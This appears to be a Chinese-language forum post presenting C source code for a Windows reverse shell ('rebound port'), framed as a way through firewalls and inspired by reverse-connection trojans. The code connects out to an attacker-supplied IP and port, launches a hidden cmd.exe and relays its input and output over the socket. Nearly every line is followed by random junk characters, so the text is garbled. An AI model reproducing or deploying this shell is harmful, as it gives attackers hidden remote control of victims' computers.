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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0lq?l:/  
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/* ============================== e9:pS WA-n  
Rebound port in Windows NT Q8l vwip  
By wind,2006/7 gxI/MD~!>  
===============================*/ c(8>oeKyD  
#include tJtp1$h  
#include &l-d_dh  
Fpn'0&~-fi  
#pragma comment(lib,"wsock32.lib") J]S6%omp>  
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void OutputShell(); 6yYd~|T.Fl  
SOCKET sClient; n?q+:P  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @*6_Rp"@  
o^d|/;  
void main(int argc,char **argv) }NV<k  
{ zU0JwZi  
WSADATA stWsaData; SV95g@  
int nRet; U m`KmM3  
SOCKADDR_IN stSaiClient,stSaiServer; Ik5-ooZ&{  
# E8?2]  
if(argc != 3) !_c6 `oW  
{ 5mudww`  
printf("Useage:\n\rRebound DestIP DestPort\n"); =:R${F  
return; dYwEVu6q  
} 9~K>c  
U/v)6:j)4R  
WSAStartup(MAKEWORD(2,2),&stWsaData); %M^Q{` :5  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rniL+/-uU  
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stSaiClient.sin_family = AF_INET; p!Tac%D+k  
stSaiClient.sin_port = htons(0); 4>Q] \\Lc  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jt3W.^6HO  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B<@a&QBTg  
{ l96 AJB'  
printf("Bind Socket Failed!\n"); v33[Rk'  
return; Fo ,8"m  
} `-W4/7  
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stSaiServer.sin_family = AF_INET; 'rfs rZ?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); BTA2['  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <X1[j9Qtv0  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Mj19;nc0I  
{ #:MoZw`rlw  
printf("Connect Error!"); Xpkj44cd@  
return; >A6PH*x  
} bgInIe  
OutputShell(); Ia^/^>  
} %hBw)3;l  
%$_?%X0=t  
void OutputShell() Xh~oDnP  
{ $x+ P)5)  
char szBuff[1024]; B(- F|q\  
SECURITY_ATTRIBUTES stSecurityAttributes; ~g~`,:Qc  
OSVERSIONINFO stOsversionInfo; 'P&r^V\~(/  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mII8jyg*c  
STARTUPINFO stStartupInfo; \naG  
char *szShell; >Ij# +=  
PROCESS_INFORMATION stProcessInformation; l,b_' m@  
unsigned long lBytesRead; t#]VR7]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D2:ShyYAS  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r"5\\qf5*  
stSecurityAttributes.lpSecurityDescriptor = 0; RC/& dB  
stSecurityAttributes.bInheritHandle = TRUE; 4 T/ ~erc  
yN#]Q}4  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]InDcE  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r9-)+R J  
d _=44( -  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y dzvjp=  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UyNP:q:  
stStartupInfo.wShowWindow = SW_HIDE; .e S* F  
stStartupInfo.hStdInput = hReadPipe; )B5U0iIi  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "MOmJYH  
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GetVersionEx(&stOsversionInfo); _xP@kN~  
n 2(\pQKm  
switch(stOsversionInfo.dwPlatformId) =G rg  
{ g-+/zEOUS  
case 1: kw1Lm1C  
szShell = "command.com"; j8t_-sU9 i  
break; D6FG$SV  
default: !<>`G0  
szShell = "cmd.exe"; qMBEJ<o  
break; \5) ZI'q  
} @oMl^UYM=  
5pE@Ww  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Nn5sD3z#  
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send(sClient,szMsg,77,0); @d[)i,d:G  
while(1) XToYtdt2  
{ Pv8AWQQJ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^DR`!.ttr  
if(lBytesRead) D4+OWbf6  
{ fhQ N;7  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -]MZP:s  
send(sClient,szBuff,lBytesRead,0); O<0-`=W,a  
} -n$hm+S  
else 7q^a@5f BG  
{ xSjs+Y;Mu  
lBytesRead=recv(sClient,szBuff,1024,0); ^`(3X  
if(lBytesRead<=0) break; X*:)]p(R  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); A^ry|4`3(  
} sJLJVSv8c  
} Qhn>aeW,  
MXY!N /  
return; 'p'nAB''!  
}
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